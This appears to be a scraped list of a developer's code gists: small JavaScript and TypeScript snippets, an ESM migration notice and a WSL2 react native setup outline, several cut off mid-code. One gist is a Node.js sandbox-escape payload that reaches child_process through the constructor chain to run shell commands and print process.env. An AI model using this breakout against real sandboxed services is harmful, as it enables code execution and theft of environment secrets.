vikiboss

#!/usr/bin/env node
console.log("hello noder")

vikiboss

Pure ESM package

The package linked to from here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

1. Use ESM yourself. (preferred)
   Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
3. Stay on the existing version of the package until you can move to ESM.

vikiboss

// usage: node --no-warnings offer.mjs 米哈游 前端

const args = process.argv.slice(2);

const js_code = ''; // get by wx.login method in WeChat
const api = 'https://www.ioffershow.com/V4';

const silentLogin = async (js_code) => {
  const res = await fetch(`${api}/silent_login`, {
    method: 'POST',

vikiboss

this.constructor.constructor('return process')().mainModule.constructor._load('child_process').execSync('ls');

var exec = this.constructor.constructor;
var process = exec('return process')();
var require = process.mainModule.constructor._load;
var execSysCmd = require('child_process').execSync;

// process.exit();

console.log(process.env);

vikiboss

Building a react native app in WSL2

Install, build and debug a react native app in WSL2 (Windows Subsystem for Linux) and Ubuntu.

• Install tools in Windows
• Install tools in WSL2
• Connect to android hardware device from WSL2
• Connect to android virtual device in Windows
  • Start android virtual device in Windows
• Start adb server in Windows

vikiboss

let currentListener: Function | undefined = undefined

function createSignal<T>(initialValue: T) {
  let value = initialValue

  const subscribers = new Set<Function>()

  const read = () => {
    if (currentListener !== undefined) {
      subscribers.add(currentListener)

vikiboss

import rfdc from 'rfdc'

type Listener<T> = (snapshot: T) => void

interface State<T extends object> {
  proxy: T
  target: T
  listeners: Set<Listener<T>>
}

vikiboss

function isObject(obj: unknown): obj is Record<string, unknown> {
  return typeof obj === 'object' && obj !== null
}

export function deepClone<T>(obj: T, cache: Map<unknown, unknown> = new Map()): T {
  if (obj === null || typeof obj !== 'object') {
    return obj
  }

  if (cache.has(obj)) {

vikiboss

import sade from 'sade'

const kivi = sade('kivi')

kivi
  .version('1.0.0')
  .describe('cli for kivibot')
  .option('-c, --config', 'Provide path to custom kivibot config', 'kivi.json')

kivi

vikiboss

// @from antfu https://antfu.me/posts/destructuring-with-object-or-array

export function destructIt<T extends Record<string, unknown>, A extends readonly any[]>(
  obj: T,
  arr: A
): T & A {
  const clone = { ...obj }

  Object.defineProperty(clone, Symbol.iterator, {
    enumerable: false,